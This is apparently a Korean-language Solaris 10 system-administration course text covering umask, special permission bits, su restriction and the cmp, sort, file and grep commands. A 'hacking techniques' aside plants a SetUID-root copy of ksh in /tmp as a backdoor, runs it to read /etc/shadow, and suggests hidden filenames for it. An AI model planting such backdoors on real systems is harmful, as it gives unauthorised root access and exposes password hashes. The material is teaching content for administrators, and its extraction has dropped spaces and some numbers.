/ 디렉토리가기본적으로생성이될때퍼미션을결정할때사용하는값이다. umask 값은파일은 666 과디렉토리는 777 과비트앤드연산 (Bit And Operation) 으로동작한다. 꼭빼기와같이동작하는것이다. 다음은 umask 값을확인하고변경하여파일 / 디렉토리생성시퍼미션을나타낸예제이다

139 # touch file1 # mkdir dir1 # ls -l file1 (644,rw-r--r--) # ls -ld dir1 (755,rwxr-xr-x) 002, 022, 027 /* 많이사용되는 umaks 값 */ Default Permission /* umask 값이없는경우의기본퍼미션 */ file : 666 (Max Perm) dir : 777 (Max Perm) 1 umask 022 설정 # umask # umask 002 # umask # touch file2 ( : 664, rw-rw-r--) # mkdir dir2 ( : 775, rwxrwxr-x) # ls -ld *2 2 umask 027 설정 # umask 027 # umask # touch file3 ( : 640, rw-r-----) # mkdir dir3 ( : 750, rwxr-x---) # ls -ld *3 다음은 umask 값이 022/002 로설정되었을때에대한예제를나타낸것이다

140 [ 참고 ] /etc/profile 의 umask 정의 umask 명령어를통해서설정한것은현재쉘에서만적용이되고로그아웃이나다른쉘을사용하는경우에는이설정은원래설정인 022 로변경이되어있다. 로그인시마다항상설정을유지하기위해서는쉘을초기화할때사용하는환경파일에등록해야한다. umask 값을등록하는대표적인초기화파일 ( 환경파일 ) 은 /etc/profile, ~/.profile 파일등을사용하면된다. 현재콘쉘 (ksh) 을사용하고있다면 umask 기본값은 022 일것이다. 이설정은 /etc/profile 파일의하단에 umask 022 로설정되어있기때문이다. /etc/profile 파일에 umask 값이정의되어있기때문에모든사용자는시스템에로그인시에 umask 값이자동으로 022 로설정이된다. # vi /etc/profile umask 설정 -> 환경파일 ( 관리자 ) /etc/profile -> 모든사용자에게적용 ( 사용자 ) ~/.profile -> 개인사용자에게적용... ( 중략 )... case $? in 0) echo "You have new mail." ;; 2) echo "You have mail." ;; esac fi esac umask 022 trap 2 3 <----- 'umask' 확인

141 (4). 특수퍼미션 (SetUID, SetGID, Sticky Bits) SetUID, SetGID 의미 (SetUID, SetGID Means) Sticky Bits 의미 (Sticky Bits Means) 특수퍼미션설정 (Special Permission configuration) SetUID, SetGID 관리 (4-1) SetUID, SetGID 의미 (SetUID, SetGID Means) 아래예제와같이일반사용자가 passwd 명령어를통해일반사용자자신의암호를변경할수있다. 일반사용자자신의암호를변경하는내부과정을본다면, /etc/passwd 파일을읽을수있고, /etc/shadow 파일안에변경된암호를입력할수있어야한다. 하지만 /etc/shadow 파일의퍼미션은일반사용자가읽을수없다. 또한 /etc/shadow 파일에암호를저장할수있는사용자는 root 사용자밖에는없다. 따라서, 일반사용자가 /etc/passwd, /etc/shadow 파일을다루기위해서는 /usr/bin/passwd 명령어에 SetUID 비트가붙어있어야한다. ( 일반사용자 ) $ passwd $ ls -l /etc/passwd (rw-r--r-- root sys, 444) -rw-r--r-- 1 root sys 월 9 일 21:16 /etc/passwd $ ls -l /etc/shadow (r root sys, 400) -r root sys 월 8 일 20:18 /etc/shadow $ ls -l /usr/bin/passwd r-sr-sr-x 1 root sys 22K Aug /usr/bin/passwd* [user01] $ passwd =================== [root] /etc/passwd (root, sys) /etc/shadow =================== $ id [user01] 다음은 SetUID 비트가걸린 /usr/bin/su 명령어에대한예이다. $ ls -l /usr/bin/su r-sr-xr-x 1 root sys 25K Feb /usr/bin/su* [user01] $ su - ====================... ksh(fork)... ==================== $ id [user01] (root)

142 ksh (user01) ksh(root) Stack Buffer Overflow Heap Buffer Overflow Race Condition ( 경쟁조건 ) IP Spoofing etc [Race Condition] SetUID filename tmp file make Hacker known a tmp filename [ 참고 ] 해킹기법 (Hacking Tech.) $./su.sh (user01, SetUID root) ---- su.sh crack.sh (root) /tmp/.tmp test.sh [EX1] 백도어프로그램생성 (Backdoor) # cp /usr/bin/ksh /tmp # chmod 4755 /tmp/ksh # ls -l /tmp/ksh (-rwxr-xr-x 1 root other 월 15 10:37 /tmp/ksh*) (-rwsr-xr-x 1 root other 월 15 10:37 /tmp/ksh*) # telnet localhost user01 사용자로로그인 $ cd /tmp $./ksh # id -a # cat /etc/shadow # exit $ id -a File Name for Backdoor # touch " " (blank :4) # touch ". " # touch /dev/rdsk/c0t0d0p7 # touch /tmp/.rx2pailb

143 (4-2). Sticky Bits 의미 (Sticky Bits Means) # ls -ld /tmp drwxrwxrwt 7 root sys 월 14 19:35 /tmp /export/home/user01 <=======> user02... /tmp (4-3). 특수퍼미션설정 (Sfecial Permission Configuration) l SetUID : 4 r l SetGID : 2 w l Sticky Bits : 1 x 퍼미션자리 : 4자리예 ) 755 -> 0755, 22 -> 0022 예 ) # chmod 2 file1 (# chmod 0002 file1) 예 ) # chmod 755 file1 (# chmod 0755 file1) (a). SetUID 설정방법 # chmod 4755 filename rwxr-xr-x => rwsr-xr-x # chmod 4100 filename (Min Permission) --x > --s # chmod 4655 filename (-rwsr-xr-x) rw-r-xr-x -> rwsr-xr-x (b). SetGID 설정방법 # chmod 2755 filename rwxr-xr-x => rwxr-sr-x # chmod 2010 filename (Min Permission) -----x--- -> -----s--- # chmod 2765 filename (-rwxrwlr-x) rwxrw-r-x -> rwxrwlr-x [ 참고 ] SetUID/SetGID 동시설정 # chmod 6755 filename rwxr-xr-x -> rwsr-sr-x (d). Sticky Bits 설정방법 # chmod 1777 dirname rwxrwxrwx -> rwxrwxrwt # chmod 1001 dirname(min Permission) x -> t # chmod 1776 dirname(drwxrwxrwt) rwxrwxrw- -> rwxrwxrwt (e). SetUID / SetGID 파일검색 (SetUID/SetGID Search) # find / -perm type f /* 최소한 SetUID 퍼미션파일들 */ # find / -perm type f /* 최소한 SetGID 퍼미션파일들 */ # find / ( -perm o -perm ) -type f ( 올바른형식 X) # find / \( -perm o -perm \) -type f ( 올바른형식 0) [ 참고 ] -o : OR, -a : AND

144 [EX] SetUID / SetGID 관리자의정책 l 홈디렉토리 (/export/home) 하위에는 SetUID, SetGID 는존재하면안된다. l 홈디렉토리 (/export/home) 하위에 SetUID, SetGID 파일존재유무를정기적으로찾아서점검한다. 사용자홈디렉토리 : /export/home/user01 ( 정책 1) SetUID, SetGID 검색하는경우 # find /export/home \( -perm o -perm \) -type f ( 정책 2) SetUID, SetGID 검색하고삭제하는경우 # find /export/home -perm type f -exec rm {} \; ( 정책 3) SetUID, SetGID 생성시키는사용자경고메세지출력 사용자 (user01) 가현재로그인되어있는상태 (who, w, talk 명령 ) 사용자 (user01) 가현재로그인되어있지않은상태 (/etc/profile) /etc/profile ksh 쉘을사용하는모든사용자의환경파일이다. $LOGNAME Login Name, 사용자의로그인이름이정의된다. # banner WARN > /etc/warning.txt # vi /etc/profile... ( 중략 )... case $? in 0) echo "You have new mail." ;; 2) echo "You have mail." ;; esac fi esac # # (1) Sfecific Configuration # if [ $LOGNAME = user01 ] ; then /bin/cat -s /etc/warning.txt fi umask 022 trap 2 3 <----- 'umask' 위에정의 # telnet localhost user01 사용자로로그인 -> 로그인메세지확인 # telnet localhost user02 사용자로로그인 -> 로그인메세지확인 # exit ; exit

145 ( 정책 4) SetUID, SetGID 제거 l passwd 명령어는일반사용자는수행할수없다. # ls -l /usr/bin/passwd (r-sr-sr-x : 6555) -r-sr-sr-x 1 root sys 22K 4 월 29 17:11 /usr/bin/passwd* # chmod 555 /usr/bin/passwd # ls -l /usr/bin/passwd -r-xr-xr-x 1 root sys 22K 4 월 29 17:11 /usr/bin/passwd* # passwd user01 New Password: (user01) Re-enter new Password: (user01) passwd: password successfully changed for user01 -> ( 암호변경 ) 기존암호그대로입력 # telnet localhost user01 사용자로로그인 $ passwd passwd: Changing password for user01 Enter existing login password: <----- user01 사용자의암호입력 Unexpected failure. Password file/table unchanged. $ exit # chmod 6555 /usr/bin/passwd (r-xr-xr-x -> r-sr-sr-x) ( 정책 5) SetUID/Group 퍼미션변경솔라리스는리눅스처럼 wheel 그룹에속한사용자만 su 를사용할수있게제한할수있는기능은없다. ( 만약 pam_wheel 이라는소스를구해서설치하고설정하면기능을사용할수있다. 하지만이문서는이경우를다루지는않는다.) 따라서퍼미션를활용하여다음과같은설정을하면가능하도록할수있다. 1 wheel 그룹추가 # groupadd wheel /* wheel 그룹추가 */ # cat /etc/group grep wheel /* wheel 그룹추가확인 */ wheel::100: 2 일반사용자추가 wheel 그룹에속하는사용자를추가한다. 만약기존에존재하는사용자에대해서정보를변경하기위해서는 usermod 명령어를수행하면된다. # useradd -G wheel -m -d /export/home/user03 -s /bin/ksh user03 /* -G : Secondary Group */ # passwd user03 # id -a user03 -> 정보확인 3 명령어의퍼미션변경 # ls -l /usr/bin/su -r-sr-xr-x 1 root sys Feb /usr/bin/su # chgrp wheel /usr/bin/su # chmod 4750 /usr/bin/su

146 # ls -l /usr/bin/su -rwsr-x--- 1 root wheel Feb /usr/bin/su -> wheel 그룹에속한사용자만 su 명령어를수행할수있고, -> su 명령어를수행할수있는사용자만 SetUID 비트의설정을받을수있다. 4 wheel 그룹에대한관리자의정책관리자는 su 명령어를수행할수있는사용자를 wheel 그룹에속하도록설정하면된다. [ 복원 ] /usr/bin/su 명령어의퍼미션복원 # chmod 4555 /usr/bin/su (r-xr-xr-x -> r-sr-xr-x) # userdel -r user03 (--> # cat /etc/passwd grep user03) # groupdel wheel (--> # cat /etc/group grep wheel)

147 [EX] WAS(Web Application Server) 상용 : Tmaxsoft JEUS(include 삼섬 SDS), BEA Web Logic(include Oracle), IBM WebSphere, Oracle WAS, Sun WAS(include Oracle),... 무료 : Jserv, Tomcat, Resin => Webserver (80, 8080) -> root 권한필요 -> Port 번호란? 서비스를구별할때사용하는번호 -> UNIX Port 번호 : Port 대역 : 0 ~ ~ 1023 (Well-known Port) Web Daemon(Example : httpd) PORT 1 ~ 1023 : 반드시 root 권한필요 PORT 1024 ~ : 일반사용자권한으로도가능 httpd (80) httpd (8080) : 반드시 root 권한필요 : 일반사용자권한으로도가능 위의경우문제가생길수있다. 실제실무에서는서버시스템에 root 사용자와 WAS 서비스사용자가구분되어있는경우가많다. 일반사용자인 wasuser 로서 WAS 프로그램을설치하고운용하기때문에데몬을시작하는스크립트가 wasuser 사용자의권한으로되어있어서이사용자가웹데몬을띄우게되면 "Permission Denied" 가발생한다. WAS -> wasuser 사용자 OS -> root 사용자 데몬 : httpd 데몬띄우는스크립트 : startup ( 예 : # service httpd restart) wasuser 가 httpd(80) 데몬을띄울수있도록설정하는관리자의설정이필요 # chown root:sys /was/bin/startup (root sys rwxr-xr-x -> rws-----x) # chmod 4701 /was/bin/startup (root sys rwx-----x -> rws-----x) or # vi startup.c main() { system("/was/bin/startup"); } # gcc -o startup_c startup.c # chmod 4701 startup_c

148 Solaris 10 Essential Guide 4. Solaris Basic Commands l 자주사용되지는않지만유용한명령어 l l l cmp / diff CMD 파일비교 sort CMD 파일정렬 file CMD 파일의종류확인 유닉스에서는관리자가자주사용하지는않지만유용한명령어들이많다. 이런명령어들은다른명령어와연결되어사용되거나혹은특별한용도로만사용되는명령어들이다. 자주사용되지는않지만유용한명령어들 l cmp/diff 명령어 l dircmp 명령어 l sort 명령어 l file 명령어 l xargs 명령어 l time 명령어 l od 명령어 l dd 명령어 l sed 명령어 l awk 명령어 l cut 명령어 l uniq 명령어 l tr 명령어 l paste 명령어 l split 명령어 l 기타

149 cmp/diff 명령어 (a) cmp 명령어 NAME cmp - compare two files (cmp: compare, diff: different) DESCRIPTION The cmp utility compares two files. cmp will write no output if the files are the same. Under default options, if they differ, it writes to standard output the byte and line numbers at which the first difference occurred. Bytes and lines are numbered beginning with 1. If one file is an initial subsequence of the other, that fact is noted. skip1 and skip2 are initial byte offsets into file1 and file2 respectively, and may be either octal or decimal; a leading 0 denotes octal. The diff utility will compare the contents of file1 and file2 and write to standard output a list of changes necessary to convert file1 into file2. This list should be minimal. Except in rare circumstances, diff finds a smallest sufficient set of file differences. No output will be produced if the files are identical. (b) diff 명령어 NAME diff - compare two files DESCRIPTION The diff utility will compare the contents of file1 and file2 and write to standard output a list of changes necessary to convert file1 into file2. This list should be minimal. Except in rare circumstances, diff finds a smallest sufficient set of file differences. No output will be produced if the files are identical. OPTIONS -i Ignores the case of letters. For example, `A' will compare equal to `a'. -c Produces a listing of differences with three lines of context. With this option, output format is modified slightly. That is, output begins with identification of the files involved and their creation dates, then each change is separated by a line with a dozen *'s. The lines removed from file1 are marked with '-'. The lines added to file2 are marked '+'. Lines that are changed from one file to the other are marked in both files with '!'. OPERANDS The following operands are supported: file1 file2 directory1 directory2 A path name of a file or directory to be compared. If either file1 or file2 is -, the standard input will be used in its place. A path name of a directory to be compared. If only one of file1 and file2 is a directory, diff will be applied to the non-directory file and the file contained in the directory file with a filename that is the same as the last component of the non-directory file. SEE ALSO bdiff(1), cmp(1), comm(1), dircmp(1), ed(1), pr(1), sdiff( 1), attributes(5), environ(5), largefile(5), standards(5) (EX) # diff file1 file2 (EX) # dircmp dir1 dir

150 cmp 명령어는두개의파일을비교하여차이점이있다면보여주는명령어이다. cmp 명령어는두개의파일을바이트 (bytes) 단위로비교하며만약두개의파일에틀린부분이있다면첫번째로차이가있는부분의줄번호와바이트수 (Bytes Count) 을보여준후종료한다. 하지만두개의파일에차이점이없다면아무런출력결과를보여주지않는다. cmp 명령어는이진 (Binary) 파일과텍스트 (ASCII) 파일비교모두에사용가능하다. diff 명령어는텍스트파일들을비교하여불일치하는모든줄을행단위로출력하는명령어이다. 두개의파일에차이점이존재하지않는경우 cmp 명령어와같이출력내용이없다. 하지만차이점이존재하는경우두개의파일의차이점이있는부분에대한자세한내용을출력한다. 파일의내용이많고차이점이많은경우 diff 명령어를사용하여비교하게되면출력내용이더많아지므로사용하기불편하다. 일반적으로 diff 명령어는작은파일비교에사용될수있다. 프로그램을개발할때, 기존프로그램에새로운기능을추가하거나오류를수정함으로써프로그램의완성도를높일수있게된다. 여로개의버전사이에어떤부분이변경되었는지알고자할때자세하게출력하는명령어가 diff 명령어이다. ( 명령어형식 ) # cmp file1 file2 /* 두개의파일에대한비교점 ( 차이점의시작정도 ) 확인 */ # diff file1 file2 /* 두개의파일에대한간략한차이점확인 */ # diff -c file1 file2 /* 두개의파일에대한자세한차이점확인 */ 옵션 설명 -i 두파일을비교할때대소문자를구분하지않는다. A 와 a 는같은것으로인식된다. -c 문맥상의차이점을보여준다. 일반적으로 3 가지섹션으로보여준다. 첫번째섹션 - 파일의이름과만들어진시간을비교 두번째섹션 - 비교하는첫번재파일이두번째파일과의차이점이있는부분을!(Exclamation) 문자로나타낸다. 세번째섹션 - 비교하는두번째파일이첫번째파일과의차이점을! 문자를사용하여나타낸다. [EX1] cmp & diff 명령어실습 l file1 <------> file2 : 같은파일 l file1 <------> file3 : 다른파일 ( 실습준비 ) # cd /test # cat file1 /* file1 과 file2 는내용이같은파일 */ # cat file2 /* file1 과 file2 는내용이같은파일 */ # cat file3 /* file1 과 file3 는내용이다른파일 */

151 # cmp file1 file2 /* 두개의파일이내용이같으면출력결과가없다. */ # # cmp file1 file3 /* 두개의파일이내용이다르면틀려진부분의첫번째부분출력 */ file1 file3 differ: char 11, line 3 <----- 메세지확인 # diff file1 file2 /* 두개의파일내용이같으면출력결과가없다 */ # # diff file1 file3 /* 두개의파일내용이다르면다른부분만을출력해준다. */ -> 출력내용생략 # diff -c file1 file3 /* 두개의파일이다른부분을전체파일비교을통해확인할수있다.*/ -> 출력내용생략 [ 참고 ] diff 명령어를사용한백업파일과원본파일비교 ( 시나리오 ) 파일시스템의내용은정기적으로백업이되어지고있으며, 원본 DISK( 파일시스템 ) 의내용중중요한설정파일의내용을많이수정한경우, 너무많이수정하여다시원래대로수정하기힘든경우에는백업본에서원본설정파일의백업본을복구한후두개의파일을비교하면서원래상태로돌리면된다. 이런경우, 설정파일이큰파일이라면백업본과비교하는데많은시간이걸린다. 이런경우 diff 명령어가유용하게사용된다. 원본 DISK 백업테이프 설정파일 /etc/ftpd/ftpaccess /etc/ftpd/ftpacess A > 원본파일과비교 < 복구 wu-ftpd (/etc/ftpd/ftpaccess) # cd /test # rm rf /test/* # cp /etc/ftpd/ftpaccess /test /* ftpaccess : wu-ftpd 프로그램의주설정파일 */ # cp ftpaccess ftpaccess.orig <---- 현재상태 : 두개의파일은같다. # vi ftpaccess [ 수정전 ] chmod no anonymous delete no anonymous [ 수정후 ] chmod yes anonymous delete yes anonymous l ftpaccess : 원본 DISK에존재하는파일 l ftpaccess.orig : 백업테이프에존재하던파일 ( 복구된파일 ) # diff ftpaccess ftpaccess.orig -> 출력결과분석

152 [ 참고 ] cmp 명령어를통한파일의무결성점검 (File Consistency Check) 시스템안에서중요한시스템파일들 (/etc/passwd, /etc/group, /etc/netamsk 등 ) 이변경되었는지확인할수있는스크립트를만들고싶을때가있을것이다. 이런경우라면여러가지방법이존재할것이다. 다음은이런경우중에서 cmp 명령어를사용해본예이다. 파일무결성점검스크립트파일의원리 (File Check Principle) (1). /etc/passwd => /etc/passwd.old (2). cmp /etc/passwd /etc/passwd.old cmp /etc/passwd /etc/passwd.old > file.txt if [ -s file.txt ] ; then Action1( 이상 ) else Action2( 정상 ) fi

153 sort 명령어 NAME sort - sort, merge, or sequence check text files DESCRIPTION The sort command sorts lines of all the named files together and writes the result on the standard output. Comparisons are based on one or more sort keys extracted from each line of input. By default, there is one sort key, the entire input line. Lines are ordered according to the collating sequence of the current locale. 하나또는그이상의파일의텍스트줄을스크린상에서정열하고자할때사용한다. 즉출력내용을정열하여표현하고자할때사용한다. sort 명령어는아무런옵션없이사용되면숫자나알파벳순 ( 문자열정열방식이기본 ) 으로정열하여준다. 기본적으로 sort 명령어는공백 (White Space: Space, Tab) 를필드구분자로인식한다. 또한필드선택이없으면첫번째, 두번째, 세번째식으로정열하게된다. 기준 : 오름차순정열 <===> -r(reverse) 첫번째필드 -> 두번째필드 -> 세번째필드정열 ->... <====> -k(key) 문자열정열 <===> -n(number) ( 명령어형식 ) # sort /etc/services /* 파일을오름차순, 첫번째필드, 문자열정열 */ # sort -r /etc/services /* 파일을내림차순, 첫번째필드, 문자열정열 */ (-r : reverse) # sort -t : -k 3 -n /etc/passwd /* 필드구분자를 :( 콜론 ) 으로, 3 번째필드, 숫자열정열 */ (-t : seperate, -k : key, -n : number) # sort -k 3 DB.txt /* 파일을오름차순, 세번째필드, 문자열정열 */ # sort -k 3,5 DB.txt /* 파일을오름차순, 세번째 -> 다섯번째필드, 문자열정열 */ 옵션 설명 -n 숫자로정열한다. -r 내림차순으로정렬한다. 기본은오름차순으로정열하는것이다. -o 출력결과를파일에저장한다. -t 필드구분자를지정한다. -k 정열할필드를지정한다. [EX1] sort 명령어실습 # rcp :/root/conf_sample/DB.txt /test /* 서버에서 DB.txt 파일을복사 */ # cat DB.txt Chan Chan Chan Chan # sort DB.txt /* 정열필드 : 1->2->3->..., 오름차순정열 */ # sort -r DB.txt /* 정열필드 : 1->2->3->..., 내림차순정열 */ # sort -k 3 -n DB.txt /* 3번째필드정열, 숫자정열, 오름차순정열 */ # sort -k 3,5 DB.txt /* 3번째, 5번째필드정열, 오름차순정열 */

154 [EX2] 많이실행되는 sort 명령어실행방법 sort 명령어는명령어의출력결과를정열할때많이사용된다. 다른운영체제에서도많이사용되는방법이며, 특히나파일의크기 ( 사이즈 ) 별로정열하는경우나이름별로정열하는경우가많다. ( 많이사용되는형식 ) # CMD sort # CMD sort -r # CMD sort -k 3 # df -k -F ufs # df -k -F ufs sort -k 6 # df -k -F ufs sort -k 6 -r # ps -ef grep httpd # ps -ef grep httpd sort -k 2 -n # ps -ef grep httpd sort -k 2 -nr # ps -ef head # ps -ef head sort -k 2 -n # ps -ef head sort -k 2 -nr # cat /etc/passwd # cat /etc/passwd sort -t : -k 1 # cat /etc/passwd srot -t : -k 3 -n # cat /etc/passwd srot -t : -k 3 -nr [EX3] sort 명령어활용예 ( 시나리오 ) /var 파일시스템이풀난경우라면, /var 파일시스템의전체적인사용량이나, 또는파일시스템안에용량을많이차지하고있는디렉토리를검색하게될것이다. 이런경우아래와같이 sort 명령어가활용될수있다. # unalias df (# alias df) # df -k (# df -k -F ufs) # du -sk /var # cd /var # du -sk * sort # du -sk * sort -n # du -sk * sort -nr more (# du -sk * srot -rn head) df : disk free space du : disk usage -s : sum -k : kbytes # ls -l grep "^d" awk '{print $9}' xargs du -sk # ls -l grep "^-" awk '{print $9}' xargs du -sk

155 [ 참고 ] sort + uniq 명령어 # sort -u file1 /* 중복된열을하나로출력 */ # sort file1 uniq -d /* 중복된데이터만출력 */ # sort file1 uniq -u /* 중복되지않은데이터만출력 */ [EX1] sort 명령어사용예 # cat file1 test1 1 2 A test2 2 3 B test3 3 4 C test1 1 2 A test1 1 2 A # sort -u file1 /* 중복된열을하나로출력 */ test1 1 2 A test2 2 3 B test3 3 4 C # sort file1 uniq -d /* 중복된데이터만출력 */ test1 1 2 A # sort file1 uniq -u /* 중복되지않은데이터만출력 */ test2 2 3 B test3 3 4 C [EX2] solaris249 서버에존재하는패키지와 solarisxxx 서버에존재하는패키지비교 / 확인 ( 전제조건 ) solaris249 서버에스는하나이상의패키지가미리설치되어있어야한다. [solaris249]# pkgadd d sudo sol10-x86-local [solaris249]# pkginfo SMCsudo # cd /test # rsh pkginfo > solaris249.txt # pkginfo > solarisxxx.txt [ 참고 ] # diff solaris249.txt solarisxxx.txt # cat solaris249.txt solarisxxx.txt > all.txt # sort all.txt uniq -u

156 file 명령어 NAME file - determine file type DESCRIPTION The file utility performs a series of tests on each file supplied by file and, optionally, on each file listed in ffile in an attempt to classify it. If the file is not a regular file, its file type is identified. The file types directory, FIFO, block special, and character special are identified as such. If the file is a regular file and the file is zero-length, it is identified as an empty file. If file appears to be a text file, file examines the first 512 bytes and tries to determine its programming language. If file is a symbolic link, by default the link is followed and file tests the file to which the symbolic link refers. If file is a relocatable object, executable, or shared object, file prints out information regarding the file's execution requirements. This information includes the machine class, byte-ordering, static or dynamic linkage, and any software or hardware capability requirements. By default, file will try to use the localized magic file /usr/lib/locale/locale/lc_messages/magic, if it exists, to identify files that have a magic number. For example, in the Japanese locale, file will try to use /usr/lib/locale/ja/lc_messages/magic. If a localized magic file does not exist, file will utilize /etc/magic. A magic number is a numeric or string constant that indicates the file type. See magic(4) for an explanation of the format of /etc/magic. If file does not exist, cannot be read, or its file status could not be determined, it is not considered an error that affects the exit status. The output will indicate that the file was processed, but that its type could not be determined. 윈도우즈 ( 예 :XP) 시스템에서는파일의확장자로파일의종류를구별하지만유닉스에서는파일의확장자가의미가없는경우가대부분이다.( 반드시의미가없지는않는다.) 따라서파일의확장자가의미가없기때문에파일의종류를구별하는명령어가따로필요한경우가있다. 이럴때 file 명령어가유용하게사용된다. l Windows -> 파일. 확장자 (0) => a.exe, a.txt, a.bat,... l Unix -> 파일. 확장자 (X) => a file 명령어는파일의종류 (File Type) 을알수있는명령어이다. 많이사용되는명령어는아니지만특별한경우에사용될수있다. 예를들어인터넷상에서다운로드받은파일이정확히어떤종류인지를확인할때사용한다. 솔라리스에서확장자 (Extension) 는특별한의미를가지고있지않은경우가대부분이기때문이다. 인터넷상에서다운로드받는대부분의프로그램파일들은 filename.tar.gz 형태로되어져있는경우가많다. filename.tar.gz 라는이름은만든사람이잘못배포하는경우 filename.tar 로배포되는경우가발생할수있다. 이런경우다운로드받은파일의형태를정확히알지못하는경우프로그램을사용할수없게된다. file 명령어를사용하여파일의형식 (File Type) 을정확히알아서원본확인의확장자 (Extention) 로복구한후압축을풀고아카이브 (Archive) 을풀어사용하게되면해결된다

157 ( 명령어형식 ) # file /etc/passwd /* 지정된파일이어떤종류의파일인지확인 */ [EX1] 파일의종류확인 # file /etc/passwd /* ASCII 파일 */ /etc/passwd: ascii text # file /usr/bin/ls /* Binary 파일, # strings /usr/bin/ls */ /usr/bin/ls: ELF 32-bit MSB executable SPARC Version 1, dynamically linked, stripped # file /var/adm/utmpx /* Data 파일, # strings /var/adm/utmpx */ /var/adm/utmpx: data # file /etc/init.d/dhcp /* Script 파일 */ /etc/init.d/dhcp: executable /sbin/sh script # file /etc/hosts /etc /* 여러개의파일지정 */ /etc/hosts: ascii text /etc: directory (Directory 파일 ) [ 참고 ] 특정디렉토리하위의많은파일들의형식 특정디레토리하위의많은파일의종류를한꺼번에알기위해서 file 명령어에 Wildcard(*) 를사용할수있다. 다음은 /etc 디렉토리에서 file 명령어에별표 (*) 를사용한예이다. # cd /etc # file * [ 참고 ] file 명령어가참조하는매직넘버 file 명령어는 /usr/lib/locale/$locale/lc_messages 디렉토리에존재하는 magic 파일의매직넘버 (Magic Number) 를가지고파일의종류를구별한다. 만약이파일이존재하지않은경우는 /etc/magic 파일의매직넘버를가지고확인하게된다. [ 참고 ] file 명령어의출력결과 Text Data 종류 Excutable or binary 설명 텍스트파일은다음과같은것들을포함한다. ASCII(American Standard Code for Information Interchange) Text English Text Command Text Excutable Shell Scripts 데이터파일은프로그램에의해생성되고다음과같은것들을포함한다. FrameMaker Document Compressed Data(compress, gzip, bzip2) Audio Data PNG Image Data 실행파일은명령어또는프로그램이고다음과같은것들을포함한다. 32 Bit Executable Files Extensible Linking Format(ELF) Files Other Dynamically Linked Executable Files

158 [EX2] file 명령어의활용예 ( 시나리오 ) 인터넷상에서좋은프로그램이있다고해서파일을다운받았다. 다운받은파일의이름이 file.tar 라면, 받은관리자 ( 사용자 ) 는파일을풀기위해서 tar 명령어의 xvf 옵션을사용했을것이다. 하지만, 파일을배포하는측에서파일을배포할당시에잘못해서파일의이름이변경된경우라고해보자. ( 원래파일의이름은 file.tar.gz 이름을가지고있어야한다고가정한다.) 위와같은경우라면 file 명령어가없는경우파일을다운로드받은관리자 ( 사용자 ) 는이프로그램을사용할수없을것이다. 이것은파일이어떤종류의파일인지모르기때문이다. 이때관리자는 file 명령어를통해파일이어떤종류인지확인하고, 파일의종류에맞는행동을취할수있다. Internet File : file.tar.gz -> file.tar (Modification) ( 파일배포측 ) /test file1 (# cp /etc/passwd file1) +--- file2 (# cp file1 file2) +--- file3 (# cp file1 file3) # tar cvf file.tar file1 file2 file3 /* file.tar 파일에 Archive */ # rm file1 file2 file3 /* 불필요한 file[1-3] 삭제 */ # gzip file.tar /* gzip 명령어를통해압축 */ -> file.tar.gz 파일생성 # mv file.tar.gz file.tar /* 배포파일이름변경 */ ( 파일다운로드측 ) # tar xvf file.tar (x: extract, v: verbose, f: file or device) tar: tape blocksize error # file file.tar file.tar: gzip compressed data - deflate method, original file name -> file 명령어가아니라면 file.tar가어떤파일의종류인지확인하기어렵다. -> 이것은파일의확장자만으로는파일의종류를알수없는경우가존재하기때문이다. # mv file.tar file.tar.gz /* 압축하는명령어는확장자가필요하다. */ # gzip -d file.tar.gz /* -d : decompress */ -> file.tar 파일생성 # file file.tar file.tar: USTAR tar archive # tar xvf file.tar tar: blocksize = 14 x file1, 1198 bytes, 3 tape blocks x file2, 1198 bytes, 3 tape blocks x file3, 1198 bytes, 3 tape blocks

159 [EX3] file 명령어를사용하는다른실습 ( 인텔플랫폼 OS 에스팍플랫폼용패키지설치 ) # rcp :/root/packages/top/*sparc* /test # cd /test ; ls top sol10-sparc-local.gz # uname a /* 플랫폼확인 */ SunOS solaris Generic_ i86pc i386 i86pc Solaris # gzip d *.gz /* 압축해제 */ # pkgadd d top* /* SMCtop 패키지설치 */ <ENTER> <y> # top /* top 프로그램실행 */ ksh: top: cannot execute ( 필요하면명령어수행 ) 파일퍼미션확인 # ls l /usr/local/bin/top # which top # file /usr/local/bin/top /* 파일의종류확인 */ /usr/local/bin/top: /usr/local/bin/top: ELF 32-bit MSB executable SPARC Version 1, dynamically linked, stripped # pkginfo SMCtop /* SMCtop 패키지설치확인 */ # pkgrm SMCtop /* SMCtop 패키지삭제 */ <y> # rcp :/root/packages/top/*x86* /test # gzip d *x86* /* 압축해제 */ # pkgadd d *x86* /* SMCtop 패키지설치 */ <ENTER> # pkginfo SMCtop /* SMCtop 패키지설치확인 */ # file /usr/local/bin/top /* 파일의종류확인 */ ELF 32-bit LSB executable Version 1, dynamically linked, stripped # top /* top 프로그램실행 */ last pid: 1368; load avg: 0.09, 0.05, 0.02; up 0+01:23:56 11:33:18 89 processes: 88 sleeping, 1 on cpu CPU states: 97.5% idle, 0.9% user, 1.6% kernel, 0.0% iowait, 0.0% swap Memory: 2000M phys mem, 948M free mem, 1500M total swap, 1500M free swap PID USERNAME LWP PRI NICE SIZE RES STATE TIME CPU COMMAND 858 root M 27M sleep 0: % Xorg 755 root K 3164K sleep 0: % vmtoolsd 1201 root M 17M sleep 0: % gnome-terminal 1306 root M 47M sleep 0: % java 1181 root M 11M sleep 0: % vmware-user... ( 중략 )... -> 정상적으로출력된다

160 Solaris 10 Essential Guide 4. Solaris Basic Commands l 검색에관련한명령어 l l grep CMD 파일안에내용중특정한패턴찾는명령어 find CMD 디렉토리안에서특정한패턴의파일을찾는명령어 유닉스에서파일의안의내용중일정한패턴을갖는일부를검색하기위해서는 grep 명령어를사용한다. 또한지정된디렉토리안에서특정한패턴을가진파일 ( 여러가지종류의파일 ) 을검색할때는 find 명령어를수행한다

161 grep 명령어 NAME grep - search a file for a pattern(g/re/p: globally/regular expression/print) DESCRIPTION The grep utility searches text files for a pattern and prints all lines that contain that pattern. It uses a compact non-deterministic algorithm. Be careful using the characters $, *, [, ^,, (, ), and \ in the pattern_list because they are also meaningful to the shell. It is safest to enclose the entire pattern_list in single quotes '...'. If no files are specified, grep assumes standard input. Normally, each line found is copied to standard output. The file name is printed before each line found if there is more than one input file. OPTIONS -c Prints only a count of the lines that contain the pattern. -i Ignores upper/lower case distinction during comparisons. -l Prints only the names of files with matching lines, separated by NEWLINE characters. Does not repeat the names of files when the pattern is found more than once. -n Precedes each line by its line number in the file (first line is 1). -v Prints all lines except those that contain the pattern. -w Searches for the expression as a word as if surrounded by \< and \>. 